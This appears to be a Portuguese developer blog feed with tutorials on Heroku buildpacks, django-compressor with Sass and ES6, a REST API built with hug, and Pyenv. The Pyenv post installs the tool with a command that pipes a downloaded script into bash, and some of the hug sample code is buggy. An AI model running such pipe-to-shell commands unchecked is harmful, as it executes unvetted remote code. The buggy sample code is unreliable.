Agora rode o migrate. Acabamos de criar um campo uuid, preenchemos os registros já existentes no database, e criamos constraints para os registros que virão no futuro.

Até a próxima.

Referências

Django, Sass e ES6 no Heroku com Multiple Buildpacks

Sat, 27 Aug 2016 16:00:00 GMT

Anteriormente, falamos sobre como utilizar o django-compressor com Sass e ES6. Se você quisesse utilizar o Heroku, com uma aplicação Python executando operações de build em Node.js, seria uma tarefa um tanto árdua, que exigiria um certo nível de paciência na construção do seu próprio Buildpack. Hoje, com o Multiple Buildpacks, isso não é mais necessário.

Build o quê?

Buildpack.

São conjuntos de scripts que, dependendo da linguagem de programação que você escolher, resolverão dependências, geração de assets e até mesmo compilação arquivos, dentro da plataforma Heroku.

Ou seja, eles são uma espécie de "provisionamento", onde você escreverá uma série de instruções que deixarão o ambiente preparado para receber o seu projeto.

Antigamente, para você trabalhar com compilação/transpilação de assets em um projeto Django no Heroku, você tinha duas opções:

Utilizar (ou construir) um Buildpack customizado que realizasse o procedimento de instalação das dependências e build (como o heroku-buildpack-django);
"Commitar" os arquivos "buildados" e utilizar o Buildpack Python padrão.

Eu nunca tive muita paciência com a questão de provisionamento no Heroku, então geralmente eu partia para a ignorância e vivia "commitando" CSS e JS compilados.

Repita comigo: Nunca mais vou commitar arquivos compilados

É uma péssima ideia! Principalmente quando você está trabalhando em uma equipe grande. A quantidade de merge hells envolvendo arquivos compilados é aquele tipo de dor de cabeça que você deveria evitar desde o princípio.

Não dá pra pilotar um Jaeger sozinho (deadline.com)

De forma bem resumida, vamos ilustrar como funcionaria o fluxo de build de estáticos com múltiplos Buildpacks. Para começar, vamos criar um novo app no Heroku:

$ heroku create

Caso você tenha dúvidas sobre como criar um projeto Python no Heroku, o "Getting started" deles é muito bacana e fácil de seguir.

Supondo que já instalamos o Django, e que criamos os arquivos runtime.txt, determinando qual a versão do Python que usaremos, e requirements.txt, para resolução de dependências, automaticamente o Heroku saberá preparar o ambiente para o nosso projeto.

Mas caso você queira ter certeza disso, podemos usar o comando buildpacks:set:

$ heroku buildpacks:set heroku/python

Como no post sobre Django e Sass, utilizaremos a biblioteca Python libsass. Logo, vamos adicioná-la ao requirements.txt:

# requirements.txt

Django
django-compressor
libsass

Não podemos deixar de configurar o django-compressor:

# settings.py

COMPRESS_PRECOMPILERS = (
    ('text/x-sass', 'sassc {infile} {outfile}'),
)

Mas e o ES6? Precisaremos do BabelJS, e consequentemente do Node.js, para realizar o transpiling.

Python + Node.js em uma mesma instância Heroku

Para adicionar um novo Buildpack, temos o seguinte comando:

$ heroku buildpacks:add --index 1 heroku/nodejs

Onde --index determina qual será a ordem de execução do Buildpack. Nesse caso, opto por ele ser o primeiro e o do Python segundo, somente para garantir que todas as dependências estejam sanadas quando a resolução de estáticos do Django acontecer.

O Buildpack Python executa operações dependendo de alguns arquivos do nosso projeto. Por exemplo, como mencionado acima, precisamos especificar a versão da linguagem (runtime.txt), instalar as dependências do projeto (requirements.txt) e no caso do Django, executar a operação de collectstatic após o deploy (manage.py).

No caso do Node.js, precisaremos ter um arquivo package.json na raíz do projeto, contendo todas as bibliotecas que o projeto usa, para essa linguagem:

$ npm init .
$ npm install --save babelify babel-preset-es2015

Não podemos esquecer do .babelrc, essencial para a execução do Babel:

// .babelrc
{
    "presets": ["es2015"]
}

E por fim, falta adicionar o pré-compilador ao django-compressor:

# settings.py

COMPRESS_PRECOMPILERS = (
    ('text/x-sass', 'sassc {infile} {outfile}'),
    ('text/es6', './node_modules/.bin/browserify {infile} -t babelify --outfile {outfile}'),
)

Pronto! Ao dar o git push heroku master, a plataforma executará primeiro o Buildback Node.js, e na sequência o Buildpack Python. No momento de entrega das páginas, teremos os binários browserify e sassc instalados em nossa instância, e poderemos entregar nossas páginas com CSS e JS compilados sem a necessidade de "commitá-los".

Comprimindo no momento do deploy

Comprimir/compilar assets no momento da requisição também é algo que deve ser evitado. Embora o Django Compressor faça um excelente trabalho nesse quesito, se estivermos usando uma CDN para a entrega desses estáticos, esse procedimento não deve acontecer durante a requisição de um usuário.

Para executar o comando compress da biblioteca django-compressor em tempo de deploy, basta fazermos duas coisas:

Garantir que COMPRESS_OFFLINE, na configuração do seu projeto, esteja setado como True;
Criar um diretório bin, e dentro dele um arquivo post_compile, com a instrução de compress.

Exemplo:

#!/usr/bin/env bash

python manage.py compress

Feito! Agora a cada deploy da sua aplicação, o build dos assets acontecerá automaticamente, dispensando assim a necessidade de ficar enviando CSS e JS "buildados" através de git push.

Dúvidas sobre a relação entre Django, Sass e ES6? Eu a detalho um pouco melhor nesses dois posts:

Até a próxima.

Referências

Heroku Dev Center: Using Multiple Buildpacks for an App

Django e ES6 com django-compressor

Mon, 20 Jun 2016 23:04:00 GMT

No post anterior, falamos sobre como utilizar o Sass com o framework Django através da biblioteca Compressor (e sem necessitar de uma ferramenta intermediária para build). Nesse artigo, vamos utilizar o mesmo conceito e apresentar uma forma diferente de utilizar a nova versão do Javascript com o django-compressor.

Instalando e configurando o Compressor

Vamos recaptular o processo de instalação do django-compressor:

$ pip install django-compressor

Não podemos esquecer de adicionar a app ao INSTALLED_APPS:

# settings.py
INSTALLED_APPS = (
    ...
    'compressor',
    ...
)

E para finalizar, precisamos fazer os estáticos serem "encontráveis":

# settings.py
STATICFILES_FINDERS = (
    'django.contrib.staticfiles.finders.FileSystemFinder',
    'django.contrib.staticfiles.finders.AppDirectoriesFinder',
    ...
    'compressor.finders.CompressorFinder',
)

Para simplificar o nosso exemplo, vou reaproveitar o cenário criado no post anterior:

<!-- index.html -->

{% load compress %}
{% load staticfiles %}

{% compress js %}
    <script src="{% static 'vendor/jquery/jquery.js' %}"></script>
    <script src="{% static 'js/app.js' %}"></script>
{% endcompress %}

Imagine que o nosso arquivo js/app.js é um Javascript, mas escrito seguindo as especificações do ES6. Podendo ser algo semelhante ao exemplo abaixo:

import { createStore } from "redux";

import rootReducer from "./reducers";
import App from "./components/app";

let store = createStore(rootReducer);
store.subscribe(app.subscriber);

O bloco de {% compress js %} será responsável por minificar e concatenar os nossos scripts. Se executarmos o comando manage.py compress, provavelmente não teremos nenhum problema, e o HTML de resposta será algo parecido com isso:

<!-- index.html -->
<script type="text/javascript" src="/static/CACHE/js/3ffb288f8747.js"></script>

Mas o ES6 ainda não é amplamente suportado pelos navegadores... logo, teremos que usar "transpiladores" para que o código seja traduzido em algo "entendível" pelos browsers.

Hello NPM my old friend

Eu sinceramente desconheço uma ferramenta que faça transpiling de ES6 para ES5 melhor que o Babel.

E embora a gente "torça o nariz" para a necessidade de adicionar Node.js à nossa stack Python, o uso do Babel nessas condições faz certo sentido. Primeiro, por nos permitir escrever Javascript numa versão mais prática, legível e divertida. Segundo, que com o auxílio do Browserify (por exemplo), podemos deixar a resolução de path do JS nas mãos da tríade NPM/Browserify/Babel (ou você achou que aquele import 'redux' veio de graça?).

Isso nos permite escrever Javascript modular, utilizando recursos que já são built-in (na especificação) da linguagem, sem necessariamente nos preocuparmos em como resolveremos as questões de importação (como por exemplo, se usaremos RequireJS ou curl.js) e deixamos toda essa responsabilidade nas mãos da ferramenta de bundling de sua escolha.

Django + Babel é como dar um Auf Wiedersehen para o ES5 (fallsdownz.blogspot.com.br)

Sem mais delongas, vamos instalar as dependências que precisaremos para o nosso exemplo:

npm install --save-dev babelify babel-preset-es2015 redux

Dos pacotes acima, os mais fundamentais são:

babelify: Um transform de Babel para o Browserify;
babel-preset-es2015: Um preset com um apanhado de plugins necessários para compilar ES2015 para ES5;

O pacote redux é apenas uma dependência utilizada pelo exemplo, e não influencia diretamente no processo de build.

Para facilitar a comunicação entre o Django e o Babel, vamos criar um arquivo de configuração .babelrc, na raíz do nosso projeto, com a seguinte configuração:

{
  "presets": ["es2015"]
}

Voltamos ao Django, para terminar de configurar o nosso projeto.

Back to the Django

Como no exemplo do post anterior, vamos utilizar a capacidade de setarmos compiladores/transpiladores, no django-compressor, e passaremos a interpretar os arquivos Javascript utilizando o Babel:

# settings.py
COMPRESS_PRECOMPILERS = (
    ('text/es6', './node_modules/.bin/browserify {infile} -t babelify --outfile {outfile}'),
)

O path ./node_modules/.bin/browserify é onde está o binário após ser instalado via npm. Os parâmetros infile e outfile dizem respeito ao arquivo de entrada e de saída, respectivamente.

Agora basta voltarmos ao nosso template, e adicionarmos o atributo type="text/es6 à nossa tag <script>:

<!-- index.html -->

{% load compress %}
{% load staticfiles %}

{% compress js %}
    <script src="{% static 'vendor/jquery/jquery.js' %}"></script>
    <script src="{% static 'js/app.js' %}" type="text/es6"></script>
{% endcompress %}

Pronto! Agora é só ver o resultado através do comando python manage.py compress.

Considerações finais

Tratando-se de uma aplicação em produção, onde é recomendado utilizar o django-compressor com offline compression, a adição do Browserify não impactará no tempo de resposta do seu servidor. No entanto, é certo que o servidor local, levantado através do manage.py runserver, leve um tempo maior para responder depois dessa adição.

Na dúvida, não custa testar...

Inicie utilizando o Django com Compressor. A partir do momento onde os tempos de resposta tornem-se muito altos, opte por uma ferramenta que execute o build em paralelo.

Até a próxima!

Referências

Django e Sass com django-compressor

Sat, 04 Jun 2016 16:00:00 GMT

Eu sempre gostei da proposta do django-compressor: Concatenar e comprimir estáticos, utilizando como agrupadores os blocos da engine de templates do Django. Além de manter a declaração dos assets no HTML, ele ainda abre uma margem interessante para quando você precisa customizar um grupo de estáticos para uma determinada página.

Com a chegada dos pré-processadores, como Sass e CoffeeScript, e fatalmente com o advento das ferramentas de build, deixar esse processo para o Django passou a ser questionável. É extremamente razoável passar toda essa responsabilidade para o Grunt, e colocar apenas no seu template Django a URL do estático já "buildado".

Na minha opinião, isso tira um pouco da vantagem descrita no primeiro parágrafo, e adiciona certa complexidade à nossa stack de desenvolvimento. Baseado nisso, e indo na onda da simplificação de build, que eu resolvi devolver esse poder ao Django. E já te adianto: Estou relativamente satisfeito com o resultado!

Concat e minify sem Node.js

O Django Compressor é um app Django que comprime Javascript ou CSS, em um único arquivo cacheável.

Para usá-lo, começamos instalando através do pip:

::shell
$ pip install django-compressor

Na sequência, precisamos adicioná-lo ao arquivo de configuração do seu projeto Django:

::python
# settings.py
INSTALLED_APPS = (
    ...
    'compressor',
    ...
)

Não esqueça de adicioná-lo ao STATICFILES_FINDERS:

::python
# settings.py
STATICFILES_FINDERS = (
    'django.contrib.staticfiles.finders.FileSystemFinder',
    'django.contrib.staticfiles.finders.AppDirectoriesFinder',
    ...
    'compressor.finders.CompressorFinder',
)

E no seu template Django, utilizamos a templatetag de compressão para CSS e JS:

::html
<!-- index.html -->

{% load compress %}
{% load staticfiles %}

{% compress css %}
    <link rel="stylesheet" href="{% static 'vendor/skeleton/normalize.css' %}" type="text/css">
    <link rel="stylesheet" href="{% static 'vendor/skeleton/skeleton.css' %}" type="text/css">
{% endcompress %}

{% compress js %}
    <script src="{% static 'vendor/jquery/jquery.js' %}"></script>
    <script src="{% static 'js/app.js' %}"></script>
{% endcompress %}

Quando o internauta acessar a sua página, o resultado final será parecido com esse:

<!-- index.html -->

<link rel="stylesheet" href="/static/CACHE/css/0fb9d388202c.css" type="text/css">
<script type="text/javascript" src="/static/CACHE/js/82f4dc99bcc1.js"></script>

Bacana, não? Como a opção COMPRESS_ENABLED é por padrão o inverso de DEBUG, em tempo de desenvolvimento você não verá os assets comprimidos, mas em tempo de QA e produção, se o seu Django estiver corretamente configurado, sim.

Pré-compiladores

Você não precisa do Ruby para utilizar Sass. Hoje, com o advento da especificação do libsass, é possível ter a ferramenta em diferentes linguagens, como Node.js e Python:

::shell
$ pip install libsass

O django-compressor dá suporte a execução de compiladores/transpiladores dado um determinado type. Vamos ilustrar esse cenário com o uso de Sass:

::python
# settings.py
COMPRESS_PRECOMPILERS = (
    ('text/x-sass', 'sassc {infile} {outfile}'),
)

O binário sassc foi instalado no comando pip install acima. O parâmetro infile será o próprio arquivo scss, e outfile será a saída do arquivo, já compilado para CSS.

Django com estilo!

Agora, a jogada será declarar em nosso template que todas as folhas de estilo escritas em Sass, terão como type o valor text/x-sass:

::html
<!-- index.html -->

{% compress css %}
    <link rel="stylesheet" href="{% static 'vendor/skeleton/normalize.css' %}" type="text/css">
    <link rel="stylesheet" href="{% static 'vendor/skeleton/skeleton.css' %}" type="text/css">
    <link rel="stylesheet" href="{% static 'scss/app.scss' %}" type="text/x-sass">
{% endcompress %}

A partir de agora, no momento de execução do Compressor, além de minificar e concatenar as folhas de estilo, também interpretará arquivos Sass.

Considerações finais

E com isso, mais uma vez, mostramos que é possível ter um projeto web, utilizando ferramentas bacanas (como o Sass), sem necessariamente adicionar uma linguagem diferente à sua stack.

O ideal é que o processo de build seja executado durante o procedimento de deploy do seu projeto (através do comando python manage.py compress). Para isso, é necessário ativar o offline compression do Django Compressor.

No próximo post vamos falar sobre Django + ES6.

Até a próxima...

Referências

REST - Parte 2

Fri, 20 May 2016 12:35:00 GMT

No post anterior, demos uma pequena introdução ao conceito de REST e fizemos um raso comparativo com o seu "rival", o SOAP. Nesse artigo falaremos mais sobre como interagir com APIs REST utilizando os verbos do protocolo HTTP, e a biblioteca hug, que nos ajudará a ilustrar como uma API funciona na prática.

Segundo o InfoQ, o REST possui cinco princípios fundamentais:

Dê a todas as coisas um identificador
Vincule as coisas
Utilize métodos padronizados
Recursos com múltiplas representações
Comunique sem estado

Esses cinco itens nos guiarão daqui para frente.

O Uniform Resource Identifier

Você já parou para pensar que na Internet tudo tem um "endereço único"? Do formulário de contato do seu blog até um vídeo no Youtube?

Todo recurso tem um nome e pode ser identificado de forma única. Esse conceito é conhecido por Uniform Resource Identifier (URI) e é composto pelo Uniform Resource Locator (URL) e Uniform Resource Name (URN).

Logo, quando falamos do endereço http://google.com/index.html, podemos assumir a seguinte estrutura:

http://google.com/index.html
|------ URL -----|-- URN --|
|----------- URI ----------|

Como uma API REST é um recurso disponível na web, essa regra não é diferente. Daremos identificadores únicos para cada recurso exposto.

Utilizaremos o localhost:8000 para os exemplos a seguir. Portanto, vamos imaginar que temos uma API de filmes, e gostaríamos de listar todos os filmes. Uma boa prática é utilizarmos o substantivo no plural. Exemplo:

http://localhost:8000/movies/

Vamos supor que o filme "The Matrix", dentro da nossa base de dados, tenha o ID 20. Na nossa API poderíamos acessá-lo através da seguinte URI:

http://localhost:8000/movies/20/

Consequentemente, outro filme teria um identificador diferente. Por exemplo, para acessarmos o filme "Swordfish", que no nosso exemplo possui o ID 55, temos:

http://localhost:8000/movies/55/

Outra boa prática é utilizarmos UUIDs ao invés das chaves primárias do nosso banco de dados. Isso obscurece o funcionamento da aplicação, tornando-a ligeiramente mais segura:

http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/

Legal! Já tenho como acessar o filme The Matrix, dentro da nossa "API imaginária". Será que temos alguma maneira fácil de acessar, por exemplo, os atores que fazem parte desse filme?

Hipermídia

O conceito de hipermídia pode ser bastante abstrato. Segundo o Wikipedia:

Hipermídia é a reunião de várias mídias num ambiente computacional, suportada por sistemas eletrônicos de comunicação. Hipermídia, diferentemente de multimídia, não é a mera reunião dos meios existentes, e sim a fusão desses meios a partir de elementos não-lineares.

A melhor forma de entender esse conceito é se olharmos para uma forma de hipermídia muito conhecida: o hipertexto (sim, o "H" do Hypertext Markup Language). Nele, temos um "texto interativo", não necessariamente linear e composto por diferentes outras mídias (como som, vídeo, imagens, etc).

Mas o ponto que mais ilustra o que é um hipertexto é a capacidade de um texto referenciar a outro. Esse conceito, chamado de hiperlinks (ou somente links, para os mais jovens) permite com que eu seja capaz de navegar entre documentos apenas seguindo as suas referências, sem conhecer previamente o destino do meu passo seguinte.

Aqui de boas fazendo umas APIs com os meus amigos (cosmopolitan.com)

Quando esse conceito é aplicado ao contexto de REST, temos o que chamamos de Hypermedia as the Engine of Application State (HATEOAS). Segundo ele, nosso cliente deve ser capaz de interagir com a nossa aplicação (e até mesmo demais aplicações vinculadas a ela) através de hipermídia. Dessa forma, eu não preciso necessariamente conhecer todos os endpoints de uma API, ela me informará dada uma determinada URI, para onde eu posso navegar.

Pegando a nossa API de filmes, eu deveria ter dentro da resposta do filme "The Matrix" alguma informação me dizendo que para listar os atores desse filme, eu deveria acessar http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/actors/. E uma vez eu estando nessa listagem, deveria haver um link me dizendo que para ver os detalhes da Carrie-Anne Moss, por exemplo, eu devo acessar a URI http://localhost:8000/actors/A3531BF5-C089-4A44-8A92-5A5AC08261AA/.

Exemplo:

<movie>
  <uuid>DED621D5-08F4-4D32-ADFA-84375BA415B9</uuid>
  <title>The Matrix</title>

  <link rel="actors" href="http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/actors/" />
</movie>

Ou em uma resposta em JSON, poderíamos ter algo parecido com o exemplo abaixo:

{
  "uuid": "DED621D5-08F4-4D32-ADFA-84375BA415B9",
  "title": "The Matrix",

  "_links": {
    "actors": "http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/actors/"
  }
}

Um pouquinho de prática

Antes de falarmos sobre os verbos HTTP, vamos utilizar o hug para uma abordagem um pouco mais prática. Iniciamos com a instalação da biblioteca:

$ pip3 install hug

Para tornar as coisas simples, vamos simular o acesso ao banco de dados com o uso de dicionários Python.

# api.py

import hug

MOVIES = [
  {
    'id': 'DED621D5-08F4-4D32-ADFA-84375BA415B9',
    'title': 'The Matrix',
    'description': 'A computer hacker learns from mysterious rebels about the true nature of his reality and his role in the war against its controllers.',
  }
]

A URI por si só não significa nada. Precisamos de métodos para acessá-la (e manipulá-la), e o protocolo HTTP possui alguns verbos que podem executar essas operações para nós.

Listagem e detalhes

O GET é sem dúvida o mais famoso deles. É através dele que somos capazes de "pegar" os recursos da web, incluindo páginas na Internet como essa que você está lendo. Com esse verbo, podemos listar e visualizar mais detalhes de um determinado recurso na web.

Vamos começar retornando a listagem de filmes:

# api.py

import hug

...

@hug.get()
def movies():
  return {
    'objects': MOVIES,
  }

Para executar a API no seu ambiente local, utilize o seguinte comando:

$ hug -f api.py

Agora, ao acessar a URI http://localhost:8000/movies/, obtemos a seguinte resposta:

{
  "objects": [
    {
      "description": "A computer hacker learns from mysterious rebels about the true nature of his reality and his role in the war against its controllers.",
      "title": "The Matrix",
      "id": "DED621D5-08F4-4D32-ADFA-84375BA415B9"
    }
  ]
}

Vamos ilustrar como seria o acesso via GET para ver detalhes do recurso "The Matrix". Primeiro, criamos o método na aplicação que é responsável por dar detalhes de um filme:

import hug
from falcon import HTTP_404

...

@hug.get('/movies/{movie_id}/')
def movie(movie_id, response):
  movie_ids = map(lambda x: x['id'], MOVIES)

  if movie_id not in movie_ids:
    response.status = HTTP_404
    return 'Not found'

  movie = MOVIES[movie_ids.index(movie_id)]

Seguindo uma boa prática, visualizar detalhes de um determinado recurso deveria ter um endereço composto pelo seu nome (no caso, movies), mais o seu identificador (no caso, DED621D5-08F4-4D32-ADFA-84375BA415B9):

$ curl -i http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/

HTTP/1.0 200 OK
Date: Fri, 13 May 2016 00:58:57 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-type: application/json
content-length: 221

{"description": "A computer hacker learns from mysterious rebels about the true nature of his reality and his role in the war against its controllers.", "title": "The Matrix", "id": "DED621D5-08F4-4D32-ADFA-84375BA415B9"}

Adicionando

Outro verbo bem conhecido do protocolo é o POST. Quem aqui nunca submeteu um formulário web?

O princípio desse método é o envio de dados, do cliente para o servidor. Vamos aproveitar dessa sua natureza para adicionar o filme "Swordish" à nossa API. Para isso, precisamos alterar nossa função movies:

import hug
import uuid
from falcon import HTTP_201, HTTP_404

...

@hug.get_post()
def movies(request, response):
  if request.method == 'GET':
    return {
      'objects': MOVIES,
    }
  else:  # We are assuming it's a POST
    movie = {
      'uuid': str(uuid.uuid4()),
      'title': request.get_param('title'),
      'description': request.get_param('description'),
    }
    MOVIES.append(movie)

    response.status = HTTP_201
    return movie

...

Como é possível reparar no código acima, pretendemos adicionar um filme e o destino da nossa requisição será o /movies/. Desse modo, o GET lista e o POST adiciona novos filmes:

$ curl -i -XPOST -d "title=Swordfish&description=Some hackish description..." http://localhost:8000/movies

HTTP/1.0 201 Created
Date: Fri, 13 May 2016 01:51:43 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-type: application/json
content-length: 116

{"title": "Swordfish", "uuid": "a96e7212-6a29-478a-a24e-07720a286944", "description": "Some hackish description..."}

Agora temos dois filmes cadastrados na nossa API:

{
  "objects": [
    {
      "description": "A computer hacker learns from mysterious rebels about the true nature of his reality and his role in the war against its controllers.",
      "title": "The Matrix",
      "id": "DED621D5-08F4-4D32-ADFA-84375BA415B9"
    },
    {
      "description": "Some hackish description...",
      "title": "Swordfish",
      "id": "a96e7212-6a29-478a-a24e-07720a286944"
    }
  ]
}

Atualizando e removendo

Uma vez que POST e GET acontecem no endpoint responsável por "listar" os nossos filmes, é natural assumirmos que o PUT e DELETE acontecerão no endpoint responsável por "detalhar" determinado filme.

O PUT é o método HTTP responsável por atualizar um determinado recurso. Assim como o POST, ele permite a passagem de parâmetros que podem ser interpretados como "campos".

Já o DELETE, como o nome sugere, é o método padrão quando insinuamos a remoção de um determinado recurso à nossa API.

Na prática, para suportar esses dois verbos, nossa função movie ficará assim:

@hug.http('/movies/{movie_id}/', accept=('get', 'put', 'delete'))
def movie(movie_id, request, response):
  movie_ids = map(lambda x: x['id'], MOVIES)

  if movie_id not in movie_ids:
    response.status = HTTP_404
    return 'Not found'

  movie = MOVIES[movie_ids.index(movie_id)]

  if request.method == 'DELETE':
    MOVIES.remove(movie)
    return 'Deleted'

  if request.method == 'PUT':
    movie['title'] = request.get_param('title')
    movie['description'] = request.get_param('description')
    return movie

  return movie

Agora podemos atualizar o filme "Swordfish":

curl -i -XPUT -d "title=A Senha&description=Um filme sobre Hackers" http://localhost:8000/movies/a96e7212-6a29-478a-a24e-07720a286944/

HTTP/1.0 200 OK
Date: Fri, 13 May 2016 02:25:42 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-type: application/json
content-length: 107

{"title": "A Senha", "id": "a96e7212-6a29-478a-a24e-07720a286944", "description": "Um filme sobre Hackers"}

E até mesmo apagá-lo:

curl -i -XDELETE http://localhost:8000/movies/a96e7212-6a29-478a-a24e-07720a286944/

HTTP/1.0 200 OK
Date: Fri, 13 May 2016 02:26:52 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-type: application/json
content-length: 9

"Deleted"

E com isso fechamos as operações de CRUD através dos métodos POST, GET, PUT e DELETE.

Ser JSON, ou não ser...

Uma das premissas do REST é que um recurso possa ser apresentado de diferentes maneiras. Por exemplo, o nosso filme se acessado pelo navegador, poderia ser representado através de um HTML. Por outro lado, se ele fosse acessado por uma requisição Ajax, ele poderia ser representado por um JSON.

Uma terceira modalidade de entrega poderia ser em XML, ou em qualquer formato que tanto cliente quanto fornecedor entendam. Esse "acordo" entre as partes é realizado através do cabeçalho de requisição Accept, e pelo cabeçalho de resposta content-type:

$ curl -v -H "Accept: application/json" http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/

GET /movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/ HTTP/1.1
Host: localhost:8000
User-Agent: curl/7.43.0
Accept: application/json

HTTP/1.0 200 OK
Date: Fri, 13 May 2016 02:41:07 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-length: 221
content-type: application/json

Com isso, permitimos que tanto cliente quanto fornecedor conversem livremente, desde que em um mesmo dialeto. Embora não haja um padrão formal, é comum vermos APIs dando suporte a renderizações em JSON e XML.

Isso pode parecer até um exagero, e uma complexidade questionável na sua aplicação. A boa notícia é que a maioria das bibliotecas REST dão suporte built-in a essa funcionalidade.

Stateless

Uma das premissas do REST é a comunicação sem estados. Isso significa que, assim como o próprio protocolo HTTP, não "conserva-se informações" entre as requisições.

Na prática, isso significa que cliente pode enviar múltiplas requisições para o servidor, no entanto, cada uma delas deve ser independente. Cada uma deve possuir toda a informação necessária para que o servidor possa interpretá-las completamente (e separadamente).

Isso facilita o caching e escalabilidade da sua solução.

Caso estados precisem ser armazenados, é uma responsabilidade do cliente fazê-los.

Considerações finais

Chegamos ao fim desse artigo, e uma pergunta fica: Mas o que é RESTful?

Uma API RESTful na verdade é uma API que segue os princípios do REST de forma mais "fiel". Enquadrando-se plenamente nas seguintes regras:

Cliente/servidor
Stateless
Cacheável
Interface uniforme para comunicação entre o cliente e o servidor
Uso de camadas (facilitando escalabilidade, confiabilidade e segurança)

No fim das contas, sendo REST ou RESTful, utilizar os conceitos é uma boa forma de criar serviços (de baixo custo) para as suas aplicações, que podem ser aplicados, por exemplo, dentro de uma arquitetura de microserviços.

Até a próxima.

Referências

O simples e poderoso Pyenv

Tue, 26 Apr 2016 09:53:00 GMT

Num certo dia, eu resolvi deixar a preguiça de lado e atualizar a versão do Mac OS X para o El Capitan. Na cara e coragem, e dotado de uma ingenuidade ímpar, simplesmente apertei o botão Update e deixei com que os deuses resolvessem qual seria o destino do meu workspace após essa fatídica operação.

Obviamente, algumas ferramentas deixaram de funcionar, incluindo a minha instalação "system wide" do pip e o meu virtualenvwrapper.

Após algum tempo "googlando" eu encontrei o Pyenv, e vou compartilhar com você a razão pela qual ele é uma excelente ideia.

Múltiplas versões de Python, sem dor de cabeça

O Pyenv é uma ferramenta que te permite selecionar qual a versão do Python você está utilizando, de maneira muito fácil e prática.

Antes de conhecer o Pyenv, eu geralmente baixava o código fonte e compilava as versões "adicionais" do Python (2.6, 3.3, 3.4, etc) no /opt/ da minha máquina, utilizando a versão do sistema (2.7.x) para a maioria dos projetos que desenvolvia. Aí no momento de criação do meu virtualenv, apontava o executável da linguagem para a versão específica.

Com essa ferramenta eu deixo uma versão do sistema intacta, e utilizo de forma completamente isolada a determinada versão do Python do qual necessito, com alguns atalhos que me auxiliam na transição de uma versão para a outra.

Instalando

Instalar o Pyenv é tão trivial quanto dar um pip install. Por ele não depender do Python (e ser em shell puro) podemos utilizar o seu instalador de linha de comando:

$ curl -L https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | bash
$ pyenv update

Com o comando pyenv install -l somos apresentados a uma lista de possíveis versões a serem instaladas através do utilitário (indo de Python 2.1 até PyPy).

Suponha que você queira instalar a versão 3.5.1 da linguagem:

$ pyenv install 3.5.1

Genial, não?

Transitando entre versões

Para utilizar a versão instalada no terminal que está aberto, usamos o parâmetro shell:

$ pyenv shell 3.5.1
$ python -V
Python 3.5.1

Talvez seja necessário executar o comando pyenv rehash, caso você não esteja obtendo o resultado esperado.

Com o comando versions obtemos as versões disponíveis no computador:

$ pyenv versions
system
* 3.5.1 (set by PYENV_VERSION environment variable)

O asterisco indica a versão em uso atualmente.

Com o comando local, setamos uma determinada versão do Python para um determinado path. Exemplo:

$ cd ~/Workspace/blog
$ pyenv local 3.5.1
$ pyenv version
3.5.1 (set by /Users/klaus/Workspace/blog/.python-version)

O Pyenv criará um arquivo .python-version no diretório, e todo o momento que você acessá-lo trocará a versão corrente do interpretador, automaticamente.

Minha cara após o update do El Capitan (thewrap.com)

Um workaround para fazer o meu ambiente de trabalho funcionar, no El Capitan, foi baixar uma versão 2.7.x do Python e torná-la global. Exemplo:

$ pyenv install 2.7.10
$ pyenv rehash
$ pyenv global 2.7.10
system
* 2.7.10 (set by /usr/local/opt/pyenv/version)
3.5.1

Com isso, o comando pip voltou a funcionar "system wide", bem como as minhas integrações do zsh com o virtualenvwrapper.

Bônus: virtualenvwrapper

E assim a minha vida continuou pacata e serena... até o momento que eu tiver que criar um virtualenv para uma versão diferente da minha versão global.

O Pyenv com virtualenvwrapper não se entendem muito bem. Para facilitar a nossa vida, temos o pyenv-virtualenvwrapper:

$ pip install virtualenvwrapper
$ brew install pyenv-virtualenvwrapper

É necessário ativá-lo em seu shell:

$ pyenv virtualenvwrapper

E agora sim, criar o seu ambiente virtual:

$ pyenv shell 3.5.1
$ mkvirtualenv test
Using base prefix '/usr/local/opt/pyenv/versions/3.5.1'
New python executable in /Users/klaus/.virtualenvs/test/bin/python3.5
Also creating executable in /Users/klaus/.virtualenvs/test/bin/python
Installing setuptools, pip, wheel...done.
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/predeactivate
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/postdeactivate
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/preactivate
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/postactivate
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/get_env_details

E "esquecer" do comando pyenv a partir do momento que você tem os seus virtualenvs criados:

$ workon meu_projeto_em_py_27
$ python -V
Python 2.7.10

$ workon test
$ python -V
Python 3.5.1

Considerações finais

O Pyenv é, assim como o virtualenv, aquele tipo de ferramenta que te mantém são e salvo quando a sua necessidade é trabalhar com versões completamente diferentes do Python.

Infelizmente, o seu uso com o virtualenvwrapper não é lá tão smooth (mas está longe de ser complicado). Para facilitar a vida, talvez adicionar o comando pyenv virtualenvwrapper ao seu .bash_profile ou .zshrc seja uma dica interessante.

Ou ainda, você pode utilizar o virtualenvwrapper para os projetos Python 2.7.x, e o pyvenv para projetos > 3.2.

Até a próxima.

Referências

Fazendo Javascript OO de forma fácil - Parte 2

Tue, 15 Mar 2016 12:20:00 GMT

Há cerca de 5 anos, fiz um post sobre como escrever Javascript OO de forma fácil utilizando a orientação a objetos da linguagem através de Constructor Functions e Object Literal. Hoje, com o ES6, o esquema de Prototype ainda continua, mas a sintaxe ficou muito mais fácil e intuitiva, valendo a pena dar um revival no tema para explorar um pouquinho mais das novas funcionalidades.

Então, nobre leitor, prepare o seu Babel e vamos escrever algumas classes na nova sintaxe do Javascript.

Açúcares sintáticos

